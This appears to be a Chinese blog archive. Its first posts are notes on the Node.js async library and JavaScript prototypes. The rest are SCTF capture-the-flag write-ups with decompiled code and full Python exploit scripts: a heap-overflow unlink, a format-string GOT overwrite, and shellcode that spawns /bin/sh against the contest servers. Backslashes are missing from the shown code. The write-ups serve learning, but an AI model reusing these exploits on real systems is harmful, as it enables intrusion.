异步库对于js来说,重要性不用多说,这次刚开始选的时候,按照大家的意见,选了async,于是便把async学了下,本来打算把整个都看了再发出来,所以一直留着了,不过现在想想,还是直接发了算了,并不是所有的都会去用,反正后面用到了没有的再去看,然后加上来。

下面就按照函数一个个的列了:

async.nextTick(function())

与nodejs的process.nextTick一样

然后接下来的函数都满足下面几点:

  • 并行的可以不调用callback,串行的必须调用callback来触发后续任务的启动;

  • 串行执行发生错误时,未启动任务忽略,并行执行发生错误时,未启动任务继续启动;

  • 并行度有限的并行相当于是在并行外层串行,故而也必须调用callback来触发后续任务的启动,执行发生错误时,未启动任务忽略,已启动任务继续执行;

  • 错误发生时,会立即执行callback,此时传递的results可能是不完整的,callback执行完后,其它任务仍会继续修改results;

async.each(arr, function(item, callback), callback(err));

对集合中元素依次调用callback

同步,并行执行

async.eachSeries(arr, function(item, callback), callback(err));

对集合中元素依次调用callback

同步,串行执行

async.eachLimit(arr, limit, function(item, callback), callback(err));

对集合中元素依次调用callback

同步,并行执行(并行度有限),发生错误时,未启动任务忽略,已启动任务继续执行

async.every(arr, function(item, callback), callback(result));

判断是否每个元素都满足条件

同步,并行执行

async.some(arr, function(item, callback), callback(result));

判断是否有元素满足条件

同步,并行执行

async.concat(arr, function(item, callback), callback(err, results))

对集合中元素依次调用callback,并将结果合并为一个数组

同步,并行执行

async.concatSeries(arr, function(item, callback), callback(err, results))

对集合中元素依次调用callback,并将结果合并为一个数组

同步,串行执行

async.detect(arr, function(item,callback), function(result))

用于取得集合中满足条件的第一个元素

同步,并行执行

async.detectSeries(arr, function(item,callback), function(result))

用于取得集合中满足条件的第一个元素

同步,串行执行

async.whilst(function(), function(callback), callback(err))

相当于while,第一个参数是判断条件,第二个参数是要做的异步工作

同步,串行执行

async.doWhilst(function(callback), function(), callback(err))

相当于do..while,第一个参数是要做的异步工作,第二个参数是判断条件

同步,串行执行

async.until(function(), function(callback), callback(err))

与while相反,判断条件为true时跳出循环,第一个参数是判断条件,第二个参数是要做的异步工作

同步,串行执行

async.doUntil(function(callback), function(), callback(err))

与do..while相反,判断条件为true时跳出循环,,第一个参数是要做的异步工作,第二个参数是判断条件

同步,串行执行

async.forever(function(callback), callback(err))

无限循环,直至出错

同步,串行执行

async.waterfall([function(result, ..., callback)], callback(err, result))

按顺序依次执行一组函数,每个函数产生的值,都将传给下一个

异步,串行执行

async.series([function(callback)], callback(err, results))

依次执行一组函数

异步,串行执行,支持关联数组(即对象)格式

async.parallel([function(callback)], callback(err, results))

依次执行一组函数

异步,并行执行,支持关联数组(即对象)格式

接下来的函数不再是只会调用一次最后的callback,而是分别调用callback,故而任何任务出错不影响其它任务的执行:

对集合中元素依次调用callback

异步,串行执行

queue = async.queue(function(task, callback), concurrency)

定义queue

queue.saturated = function()

监听:如果某次push操作后,任务数将达到或超过worker数量时,将调用该函数

queue.empty = function()

监听:当最后一个任务交给worker时,将调用该函数

queue.drain = function()

监听:当所有任务都执行完以后,将调用该函数

queue.push(task, callback(err))
queue.push([task], callback(err))

加入任务

分组执行,对集合中每组元素依次调用callback

异步,串行执行

cargo = async.cargo(function(tasks, callback), concurrency)

定义cargo

cargo.saturated = function()

监听:如果某次push操作后,任务数将达到或超过worker数量时,将调用该函数

cargo.empty = function()

监听:当最后一个任务交给worker时,将调用该函数

cargo.drain = function()

监听:当所有任务都执行完以后,将调用该函数

cargo.push(task, callback(err))
cargo.push([task], callback(err))

加入任务

不过最近又看了下promise后,真的是觉得我更喜欢promise的方式,promise感觉要比async灵活,复杂逻辑比async写出来要清楚,异常直接找链上下一个handler,避免写一堆把异常向上传的重复代码……

由于项目要用node做后台,于是最终还是入了js的坑,然后入了之后,才终于深刻的认识到,这真是一个无底深渊……

今天研究了一下js的原型机制,看的真是吐血N升,于是还是决定记录一下,方便以后查看。

首先,在js中,万物皆对象,每个对象有隐式原型(__proto__)和显示原型(prototype),隐式原型应该是不可以直接访问的,但是有些实现中允许访问修改的(node中允许),node中还提供了Object.getPrototypeOf(obj)函数来获取一个对象的隐式原型。

当访问一个对象中不存在的属性的时候,js会在这个对象的隐式原型中查找这个属性,如果还是不存在则继续在该对象隐式原型的隐式原型中查找,这样一路向上,直到找到或者找到尽头为止,而这样一条路径可以称作这个对象的原型链。

而显式原型,则是在构造函数生成对象时使用,我们在new一个对象的时候,新生成的对象的隐式原型会设为该构造函数的显式原型,且其constructor设为该构造函数显示原型的constructor,即对于:

Constructor = function () {};
obj = new Constructor();

会有

obj.__proto__ = Constructor.prototype;
obj.constructor = Constructor.prototype.constructor;

然后在构造函数生成的时候,会将该构造函数的显式原型设置为一个新的对象,此新对象的constructor为该构造函数,即类似:

// this.prototype = {constructor: this};
Constructor.prototype = {constructor: Constructor};

通过这样的一个方式,保证了一个构造函数的显式原型的constructor为其自身,这样,用该构造函数生成的对象的constructor就会是该构造函数了。

那么,当我们希望实现类的继承的时候,我们可以采取:

ChildConstuctor = function () {};
ChildConstuctor.prototype = new Constructor();
childObj = new ChildConstuctor;

这样,childObj就同时可以访问到ChildConstuctor和Constructor中的属性了,但是此时,由于ChildConstuctor.prototype的constructor会为Constructor,也即是说,此时childObj.constructor为Constructor。

我们通过console.log(util.inherits.toString())可以查看到其实现如下:

function (ctor, superCtor) {
  ctor.super_ = superCtor;
  ctor.prototype = Object.create(superCtor.prototype, {
    constructor: {
      value: ctor,
      enumerable: false,
      writable: true,
      configurable: true
    }
  });
}

可以发现,这里采用Object.create的时候,保证了constructor为ctor,也就是上面的ChildConstuctor.prototype.constructor为ChildConstuctor本身,这样生成的对象childObj的constructor就是ChildConstuctor了,符合我们的意愿。

这里我们说一下Object.create的实现,Object.create其实就是生成一个对象,并将该对象的隐式原型设置为参数的目标,如果隐式原型不能直接设置,可以通过一个临时构造函数辅助实现:

Object.create = function (proto) {
    // 用正确的原型来创建一个临时构造函数
    var Constructor = function () {};
    Constructor.prototype = proto;
    // 之后用它来创建一个新的对象
    return new Constructor();
}

我对于Object.create(Constructor.prototype)与new Constructor操作的区别的理解是,new操作是在Object.create执行之后再执行了Constructor本身,这样会多做一些初始化任务:

var Constructor = function () {
    this.attr = 'The attribute exists only when created by new.'
};
var obj_by_create = Object.create(Constructor.prototype);
var obj_by_new = new Constructor();
console.log(obj_by_create.attr); // undefined
console.log(obj_by_new.attr); // 'The attribute exists only when created by new.'

接下来,再看一下instanceof操作的实现,instanceof其实就是判断了一个构造函数的显式原型是否在一个对象的原型链上,如果在则返回true,否则为false,我们可以按照上面的逻辑来分析一下:

  • 对于childObj instanceof ChildConstuctor的判断,childObj的隐式原型是被设定为ChildConstuctor的显式原型的,那么显然满足了判断,返回true;

  • 对于childObj instanceof Constuctor的判断,childObj的隐式原型是ChildConstuctor的显式原型,也即就是一个通过new或者Object.create生成的Constructor的对象,这个对象的隐式原型就是Constructor的显式原型,那么也满足了判断,返回true;

这也就说明了为什么是要在原型链上查找是否出现过了。

通过手动修改prototype,我们可以影响instanceof的判断:

var Constructor = function () {};
var obj = new Constructor();
obj instanceof Constructor; // true
Constructor.prototype = {};
obj instanceof Constructor; // false

var A = function () {};
var B = function () {};
var obj = new A();
obj instanceof B; // false
B.prototype = A.prototype;
obj instanceof B; // true

最后,我们再看一下js中各种基础的类型之间的关系,主要分4种:Number(String、Boolean等)、Function、Object、通过function语句生成的函数(如上面的Constructor)。

这些对象显式原型各不相同,但其隐式原型皆为Function的显示原型,而Function的显示原型的隐式原型为Object的显式原型,Object的显式原型的隐式原型为null,即:

Number.__proto__ = Function.__proto__ = Object.__proto__ = Constructor.__proto__ = Function.prototype;
Function.prototype.__proto__ = Object.prototype;
Object.prototype.__proto__ = null;

至于在实际写代码的过程中,我个人感觉而言,一个类中所有元素公用的部分,如类中各种函数、类的所有对象公用的变量可以放在构造函数的显式原型中,这样避免在各个对象中都存储一份拷贝,减少内存占用,同时可以继承给子类,而类的各个对象不同的属性,则应该在类的构造函数中设置或者使用中设置,但是这样无法通过util.inherits继承给子类。

说句实在的,就我个人而言,这题相对于PWN的前两题而言,要简单得多,当时本来还剩的时间不多,于是受前面的PWN的题的影响,我这题都没看,觉得来不及了,先去做的Code500,然后最后Code500完成了,还剩两小时的时候,我就来看了下这题,然后一看就激动,这么简单,赶快开始搞,虽说还是搞了一个多小时才过掉,不过好在是在比赛结束前搞定没出啥岔子……

首先还是给出IDA反编译的结果:

int __cdecl show_hint_and_get_choice()
{
  unsigned __int8 v1; // [sp+1Fh] [bp-9h]@2

  write(1, "1.New noten", 0xBu);
  write(1, "2.Show notes listn", 0x12u);
  write(1, "3.Show noten", 0xCu);
  write(1, "4.Edit noten", 0xCu);
  write(1, "5.Delete noten", 0xEu);
  write(1, "6.Quitn", 7u);
  write(1, "option--->> ", 0xCu);
  do
    v1 = getchar();
  while ( v1 == 10 );
  return v1;
}

int __cdecl new_note(int a1)
{
  void *v2; // [sp+1Ch] [bp-Ch]@1

  v2 = malloc(0x16Cu);
  write(1, "nnote title:", 0xCu);
  read(0, (char *)v2 + 12, 0x3Fu);
  write(1, "note type:", 0xAu);
  read(0, (char *)v2 + 76, 0x1Fu);
  write(1, "note content:", 0xDu);
  read(0, (char *)v2 + 108, 0xFFu);
  *(_DWORD *)v2 = v2;
  write(1, "nn", 2u);
  if ( *(_DWORD *)a1 )
  {
    *((_DWORD *)v2 + 2) = *(_DWORD *)a1;
    *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
    *((_DWORD *)v2 + 1) = 0;
    *(_DWORD *)a1 = v2;
  }
  else
  {
    *(_DWORD *)a1 = v2;
    *((_DWORD *)v2 + 1) = 0;
    *((_DWORD *)v2 + 2) = 0;
  }
  return 0;
}

int __cdecl show_notes_list(int a1)
{
  size_t v1; // eax@3
  size_t v2; // eax@3
  size_t v3; // eax@4
  int result; // eax@6
  int v5; // [sp+34h] [bp-64h]@3
  signed int v6; // [sp+38h] [bp-60h]@3
  char s; // [sp+3Ch] [bp-5Ch]@1
  int v8; // [sp+7Ch] [bp-1Ch]@1

  v8 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x40u);
  if ( a1 )
  {
    v5 = *(_DWORD *)(a1 + 8);
    v6 = 2;
    v1 = strlen((const char *)(a1 + 12));
    snprintf(&s, v1 + 10, "%d. %sn", 1, a1 + 12);
    v2 = strlen(&s);
    write(1, &s, v2);
    while ( v5 )
    {
      v3 = strlen((const char *)(v5 + 12));
      snprintf(&s, v3 + 10, "%d. %sn", v6, v5 + 12);
      write(1, &s, 0x40u);
      ++v6;
      v5 = *(_DWORD *)(v5 + 8);
    }
  }
  else
  {
    write(1, "ntotal: 0nn", 0xBu);
  }
  result = *MK_FP(__GS__, 20) ^ v8;
  if ( *MK_FP(__GS__, 20) != v8 )
    __stack_chk_fail();
  return result;
}

int __cdecl show_note(int a1)
{
  size_t v1; // eax@4
  size_t v2; // eax@5
  size_t v3; // eax@5
  size_t v4; // eax@5
  size_t v5; // eax@5
  int result; // eax@8
  int v7; // [sp+2Ch] [bp-5Ch]@1
  char s[4]; // [sp+32h] [bp-56h]@5
  int v9; // [sp+36h] [bp-52h]@5
  __int16 v10; // [sp+3Ah] [bp-4Eh]@5
  char buf; // [sp+3Ch] [bp-4Ch]@1
  int v12; // [sp+7Ch] [bp-Ch]@1

  v12 = *MK_FP(__GS__, 20);
  v7 = a1;
  memset(&buf, 0, 0x40u);
  if ( a1 )
  {
    write(1, "note title:", 0xBu);
    read(0, &buf, 0x3Fu);
    while ( v7 )
    {
      v1 = strlen(&buf);
      if ( !strncmp(&buf, (const char *)(v7 + 12), v1) )
      {
        write(1, "title:", 6u);
        v2 = strlen((const char *)(v7 + 12));
        write(1, (const void *)(v7 + 12), v2);
        write(1, "location:", 9u);
        *(_DWORD *)s = 0;
        v9 = 0;
        v10 = 0;
        snprintf(s, 0x14u, "%p", v7);
        v3 = strlen(s);
        write(1, s, v3);
        write(1, "ntype:", 6u);
        v4 = strlen((const char *)(v7 + 76));
        write(1, (const void *)(v7 + 76), v4);
        write(1, "content:", 8u);
        v5 = strlen((const char *)(v7 + 108));
        write(1, (const void *)(v7 + 108), v5);
        write(1, "nn", 2u);
        break;
      }
      v7 = *(_DWORD *)(v7 + 8);
    }
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK_FP(__GS__, 20) ^ v12;
  if ( *MK_FP(__GS__, 20) != v12 )
    __stack_chk_fail();
  return result;
}

int __cdecl edit_note(int a1)
{
  size_t v1; // eax@4
  int result; // eax@8
  int v3; // [sp+28h] [bp-410h]@1
  char buf; // [sp+2Ch] [bp-40Ch]@1
  int v5; // [sp+42Ch] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  memset(&buf, 0, 0x400u);
  v3 = a1;
  if ( a1 )
  {
    write(1, "note title:", 0xBu);
    read(0, &buf, 0x400u);
    while ( v3 )
    {
      v1 = strlen(&buf);
      if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
        break;
      v3 = *(_DWORD *)(v3 + 8);
    }
    write(1, "input content:", 0xEu);
    read(0, &buf, 0x400u);
    strcpy((char *)(v3 + 108), &buf);
    write(1, "succeed!", 8u);
    puts((const char *)(v3 + 108));
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK_FP(__GS__, 20) ^ v5;
  if ( *MK_FP(__GS__, 20) != v5 )
    __stack_chk_fail();
  return result;
}

int __cdecl delete_note(int a1)
{
  int v1; // ST28_4@8
  int v2; // ST2C_4@8
  int result; // eax@10
  __int32 ptr; // [sp+24h] [bp-24h]@3
  int buf; // [sp+32h] [bp-16h]@1
  int v6; // [sp+36h] [bp-12h]@1
  __int16 v7; // [sp+3Ah] [bp-Eh]@1
  int v8; // [sp+3Ch] [bp-Ch]@1

  v8 = *MK_FP(__GS__, 20);
  buf = 0;
  v6 = 0;
  v7 = 0;
  if ( *(_DWORD *)a1 )
  {
    write(1, "note location:", 0xEu);
    read(0, &buf, 8u);
    ptr = strtol((const char *)&buf, 0, 16);
    if ( *(_DWORD *)ptr == ptr )
    {
      if ( *(_DWORD *)a1 == ptr )
      {
        *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
      }
      else
      {
        if ( *(_DWORD *)(ptr + 8) )
        {
          v1 = *(_DWORD *)(ptr + 8);
          v2 = *(_DWORD *)(ptr + 4);
          *(_DWORD *)(v2 + 8) = v1;
          *(_DWORD *)(v1 + 4) = v2;
        }
        else
        {
          *(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
        }
      }
      write(1, "succeed!nn", 0xAu);
      free((void *)ptr);
    }
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK_FP(__GS__, 20) ^ v8;
  if ( *MK_FP(__GS__, 20) != v8 )
    __stack_chk_fail();
  return result;
}

void __cdecl main()
{
  int v0; // [sp+1Ch] [bp-4h]@1

  v0 = 0;
  while ( 1 )
  {
    switch ( (char)show_hint_and_get_choice() )
    {
      case 49:
        new_note(&v0);
        break;
      case 50:
        show_notes_list(v0);
        break;
      case 51:
        show_note(v0);
        break;
      case 52:
        edit_note(v0);
        break;
      case 53:
        delete_note(&v0);
        break;
      case 54:
        exit(0);
        return;
      default:
        write(1, "choose a opt!n", 0xEu);
        break;
    }
  }
}

我们可以发现,它是维护了一个链表,链表的每个节点就是一个note,再联想一下前面两题PWN,一个栈溢出,一个格式化字符串漏洞,这题十有八九就是一个堆溢出的思想,不过就是把链表自己实现了而已。仔细观察一下程序,我们可以发现,它在new note的时候,做了严格的长度验证,没有溢出的机会,但是在edit note的时候,给出的长度值为0x400u,明显远大于需要的长度,那么这里无疑就是我们溢出的地方。通过溢出,修改链表中一个节点的prev和next指针为特定的值,这样,删除这个节点的时候我们就可以获得一次dword shooting的机会了。

然后再就是改哪里的问题,这题并没有随题附上一个libc.so,然后我们一看会发现,这题竟然是可运行的堆栈,这也就是为什么我觉得这题比前两题要简单的原因了,我们直接将shellcode放在某一个note中,然后修改GOT表,使得修改完后下一次函数调用的时候执行我们的shellcode即可。

下面是我比赛时的代码:

#!/usr/bin/env python
#encoding:utf-8
import socket
import binascii
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10003))
for i in xrange(3):
    s.send('1n')
    s.recv(100)
    s.send(str(i) + 'n')
    s.recv(100)
    s.send(str(i) + 'n')
    s.recv(100)
    s.send(str(i) + 'n')
    s.recv(100)
s.send('3n')
s.recv(100)
s.send('0n')
ret = s.recv(4096)
while ret.find('location:') == -1:
    ret += s.recv(4096)
print ret
ret = ret[ret.find('location:') + 11:]
ret = ret[:ret.find('n')]
addr = int(ret, 16)
payload = 'xebx06' + 'a' * 6 + "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
payload += 'a' * (260 - len(payload))
payload += binascii.unhexlify('%08x' % (addr + 0x170))[::-1]
payload += 'x70xa4x04x08'
payload += binascii.unhexlify('%08x' % (addr + 108))[::-1]
s.send('4n')
s.recv(100)
s.send('0n')
s.recv(100)
s.send(payload + 'n')
s.recv(100)
s.send('5n')
s.recv(100)
s.send('%08x' % (addr + 0x170) + 'n')
s.recv(100)
s.send('cat /home/pwn3/flag/flagn')
s.recv(100)

先是3次new note,构建一个3个note的链表,然后show note查看这些note的地址,计算出需要的payload后,通过edit note修改第一个note,溢出改掉第二个note的prev和next指针,最后调用delete note删除第二个note,就可以成功拿到shell。

只能说,这次的PWN真的就是三种类型的基础题一样一个,不过把一个最水的放最后,我也是醉了……

pwn400.zip


XCTF上了个OJ,把之前的比赛题又架了起来,于是将代码重写了下:

#!/usr/bin/env python
#encoding:utf-8

import zio
from time import sleep

def NOPS(n):
    return 'x90' * n

def PADDING(s, n):
    return s + NOPS(n - len(s))

# TARGET = './pwn400'
TARGET = ('218.2.197.235', 10103)

DELAY = 0.1
JMP06 = 'xebx06'
SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"

NOTE_SIZE = 0x170
CONTENT_OFFSET = 108
WRITE_GOT = 0x0804a478

def RAW_WITH_DELAY(s):
    sleep(DELAY)
    return str(s)


# create three new notes
io = zio.zio(TARGET, print_write=RAW_WITH_DELAY, print_read=True)
for i in xrange(3):
    io.writelines(['1', str(i), str(i), str(i)])
io.read_until_timeout()

# get address of the new notes
io.writelines(['3', '0'])
io.read_until('location:0x')
first_note = int(io.readline(), 16)
second_note = first_note + NOTE_SIZE

# overwrite the pointer of the linked list
payload = PADDING(JMP06 + NOPS(6) + SHELLCODE, NOTE_SIZE - CONTENT_OFFSET)
payload += zio.l32(second_note) + zio.l32(WRITE_GOT - 8) + zio.l32(first_note + CONTENT_OFFSET)
io.writelines(['4', '0', payload])
sleep(1)
# trigger by delete note
io.writelines(['5', '%08x' % second_note])
io.interact()

这题同样也不难,尤其是在做了PWN200之后,很容易便能想清楚这题可以怎么做,唯一的区别就是PWN200是栈溢出,这题是格式化字符串漏洞。

IDA反编译的程序如下(我改了几个函数名方便看):

int __cdecl show_hint()
{
  puts("----------------------");
  puts("1:Play a game");
  puts("2:Leave a message");
  puts("3:Print your message");
  puts("4:Exit");
  return puts("----------------------");
}

int __cdecl leave_message()
{
  puts("input your message");
  memset(src, 0, 0x400u);
  return read_str(src, 1024);
}

int __cdecl show_message()
{
  int result; // eax@1
  char dest; // [sp+1Ch] [bp-40Ch]@1
  int v2; // [sp+41Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  strcpy(&dest, src);
  printf("Your message is:");
  printf(src);
  result = *MK_FP(__GS__, 20) ^ v2;
  if ( *MK_FP(__GS__, 20) != v2 )
    __stack_chk_fail();
  return result;
}

void __cdecl guess_number()
{
  unsigned int v0; // eax@1
  int v1; // [sp+18h] [bp-10h]@2
  int v2; // [sp+1Ch] [bp-Ch]@1

  v0 = time(0);
  srand(v0);
  v2 = rand() % 10;
  puts("Test your RP....");
  do
  {
    do
    {
      printf("Guess a number(0-10):");
      __isoc99_read_str("%d", &v1);
    }
    while ( v1 < 0 );
  }
  while ( v1 > 10 );
  if ( v2 == v1 )
    puts("You win");
  else
    puts("You lost");
  exit(0);
}

void __cdecl main()
{
  signed int v0; // [sp+1Fh] [bp-1h]@2

  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to SCTF! Good luck & Have fun~");
  while ( 1 )
  {
    while ( 1 )
    {
      show_hint();
      puts("input your choice:");
      read(&v0, 2);
      if ( (char)v0 != 50 )
        break;
      leave_message();
      puts(&byte_8048AEE);
    }
    if ( (char)v0 > 50 )
    {
      if ( (char)v0 == 51 )
      {
        show_message();
        puts(&byte_8048AEE);
      }
      else
      {
        if ( (char)v0 == 52 )
          exit(0);
      }
    }
    else
    {
      if ( (char)v0 == 49 )
        guess_number();
    }
  }
}

很明显我们可以发现,guess_number是没有用的,leave_message和show_message才是我们需要注意的重点,show_message中是直接调用printf(src)进行的输出,而src是我们输入的字符串,很显然,这里是再明显不过了的格式化字符串溢出漏洞了,我们需要想的只是溢出之后怎么拿到shell。

毫无疑问,我们这里完全可以仿照PWN200的方法,先输出libc中某个函数的真实地址,然后算出execve的地址,而调用execve所需的字符串/bin/sh我们可以直接通过栈传递进去,不用写到GOT表那里了,因为这一次通过格式化字符串漏洞我们是知道栈地址的。

然后这题比较蛋疼的是,他输出既有用puts,也有用printf,然后我当时为了偷懒,就想用puts来输出地址,然后不知道为什么总是错,后来换用printf来输出就好了,就为了这个问题,当时硬生生熬到凌晨两三点人都快不行了才搞出来。

然后,后来还了解到,栈中是有libc的加载地址的,于是乎,可以直接就在栈中找就好了,方便点。

下面还是贴下我比赛时的程序,因为当时实在不知道错哪了,还在本地把那个程序跑起来了进行本地实验,然后代码现在确实有点分不太清楚哪些是最终通过的代码部分了,因为当时一做出来就去睡了,再没看了,所以先全部贴出来吧,要是将来啥时候有闲情,再来整理下吧:

#!/usr/bin/env python
#encoding:utf-8

s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%277$08xn')
s.recv(4096)
s.send('3n')
s.recv(4096)

import socket
import binascii

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('218.2.197.248', 10002))
s.connect(('10.211.55.10', 8888))
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
    ret += s.recv(4096)

pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)
# binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 64 + 240)[2:])[::-1])

first = calc(ebp - 0x30 + 4)
# second = fill(0x30, 'e0840408''9f880408''18910408')
second = fill(0x80, 'e0840408''70850408''04910408')
if first.find('x00') != -1 or second.find('x00') != -1:
    raise RuntimeError()

s.send('2n')
s.recv(4096)
s.send(first + second + 'a' * (240 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
print hex(ebp)
ret = s.recv(4096)

while ret.find('a' * 5) == -1:
    ret += s.recv(4096)

pos = ret.find('a' * 5) + 5

# puts_addr = int(binascii.hexlify(ret[pos:pos + 4][::-1]), 16)
puts_addr = int(binascii.hexlify(ret[:4][::-1]), 16)
puts_pos = binascii.hexlify(binascii.unhexlify(hex(puts_addr)[2:])[::-1])
execve_addr = 0x000B8240 - 0xde3a0 + puts_addr
execve_pos = binascii.hexlify(binascii.unhexlify(hex(execve_addr)[2:])[::-1])
execve_pos = '203becf7'


import socket
import binascii

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10002))
# s.connect(('10.211.55.10', 8888))
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
    ret += s.recv(4096)

pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)

# bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1])
bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800')
# second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos)
second = fill(0x80, 'a0840408' + '70850408' + bin_sh_pos + '04910408' + '00' * 8 + '3d3d2538733d3d2d')

s.send('2n')
s.recv(4096)
s.send(first + second +  'a' * (400 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)

s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
    ret += s.recv(4096)

pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)

# bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1])
bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800')
# second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos)
second = fill(0x80, 'e0840408' + execve_pos + bin_sh_pos + bin_sh_pos + '00' * 8 + '2f62696e2f736800')

s.send('2n')
s.recv(4096)
s.send(first + second +  'a' * (400 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)

def calc(addr):
    payload = ''
    for pos in xrange(addr, addr + 32):
        payload += chr(int(hex(pos & 0xff)[2:4], 16))
        payload += chr(int(hex(pos & 0xff00)[2:4], 16))
        payload += chr(int(hex(pos & 0xff0000)[2:4], 16))
        payload += chr(int(hex(pos & 0xff000000)[2:4], 16))
    return payload

def fill(last, aim):
    payload = ''
    num = 7
    zero = 265
    for i in xrange(0, len(aim), 2):
        now = int(aim[i:i + 2], 16)
        if now != last:
            if now < last:
                now += 0x100
            payload += '%' + str(zero) + '$' + str(now - last) + 'x'
            last = now & 0xff
        payload += '%' + str(num) + '$hn'
        num += 1
    return payload

最后还是想说,这题真的是好蛋疼,通过格式化字符串溢出漏洞要改这么多个值,想想就觉得残暴……

pwn300.zip


重新整理了下这题,然后被人提醒bss段可写可执行,然后我就醉了,合着这题libc根本就用不到……

这里最后需要随便选个函数作为shellcode的触发,我选的exit,新代码如下:

#!/usr/bin/env python
#encoding:utf-8

import zio
from time import sleep


def NOPS(n):
    return 'x90' * n

def LEFT_PAD(s, n):
    assert len(s) <= n
    return NOPS(n - len(s)) + s

def RIGHT_PAD(s, n):
    assert len(s) <= n
    return s + NOPS(n - len(s))

def PREPARE_FORMAT(payload, addr, count=4):
    if count == 0:
        return payload

    payload += zio.l32(addr)
    return PREPARE_FORMAT(payload, addr + 1, count - 1)

def FILL_FORMAT(payload, last, addr_pos, value, count=4):
    if count == 0:
        return payload, last

    byte_value = value & 0xff
    if byte_value != last:
        if byte_value < last:
            byte_value += 0x100
        payload += '%%1$%dc' % (byte_value - last)
    payload += '%%%d$hhn' % addr_pos

    return FILL_FORMAT(payload, byte_value & 0xff, addr_pos + 1, value >> 8, count - 1)

DELAY = 0.1
JMP06 = 'xebx06'
SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"

def RAW_WITH_DELAY(s):
    sleep(DELAY)
    return str(s)

def NONE_WITH_DELAY(s):
    sleep(DELAY)
    return ''


TARGET = ('218.2.197.235', 10102)

SHELLCODE_ADDR = 0x08049180
EXIT_GOT = 0x8049120

# local
# TARGET = './pwn300'


io = zio.zio(TARGET, print_write=NONE_WITH_DELAY, print_read=False)

payload = ''
payload = PREPARE_FORMAT(payload, EXIT_GOT)
last = len(payload)
payload, last = FILL_FORMAT(payload, last, 7, SHELLCODE_ADDR)

# change exit got to shellcode addr
io.writeline('2')
io.writeline(payload)
io.writeline('3')

# call exit to trigger shellcode
io.writeline('2')
io.writeline(SHELLCODE)
io.writeline('4')

io.interact()

现在总算是考完试了,虽说也没能闲下来,但至少心里没考试前那么蛋疼了,就抽点空把之前的writeup给补上……

不过时间有点久了,可能细节不一定能记得那么清楚了,大概写下就是了~~~

IDA反编译得到的程序如下:

ssize_t __cdecl sub_80484AC()
{
  ssize_t result; // eax@3
  char v1; // [sp+1Ch] [bp-9Ch]@1
  int buf; // [sp+9Ch] [bp-1Ch]@1
  int v3; // [sp+A0h] [bp-18h]@1
  int v4; // [sp+A4h] [bp-14h]@1
  int v5; // [sp+A8h] [bp-10h]@1
  size_t nbytes; // [sp+ACh] [bp-Ch]@1
  nbytes = 16;
  buf = 0;
  v3 = 0;
  v4 = 0;
  v5 = 0;
  memset(&v1, 0, 0x80u);
  write(1, "input name:", 0xCu);
  read(0, &buf, nbytes + 1);
  if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) )
  {
    result = -1;
  }
  else
  {
    write(1, "input slogan:", 0xEu);
    read(0, &v1, nbytes);
    result = write(1, &v1, nbytes);
  }
  return result;
}

这题很明显,在第一次读入的时候,存在着溢出的问题,而这一次溢出正好可以修改到下一次读入的时候的长度那个变量,这样就可以在下一次读入的时候破掉长度限制,从而可以在下一次读入的时候进一步的溢出,修改返回值地址。

这里需要注意的是,它第一次读入之后和字符串syclover用strncmp做了个比较,这里比较的长度是8,并且strlen的判断保证读入字符串长度要不大于10,而我们溢出所需要的长度不止10,那么这里就得注意到读入字符串的时候用的read函数,而read的特点是不会被x00这种字符断掉,那么正好可以在读入的字符串中间插入x00,这样就可以过掉strlen和strncmp的判断了。

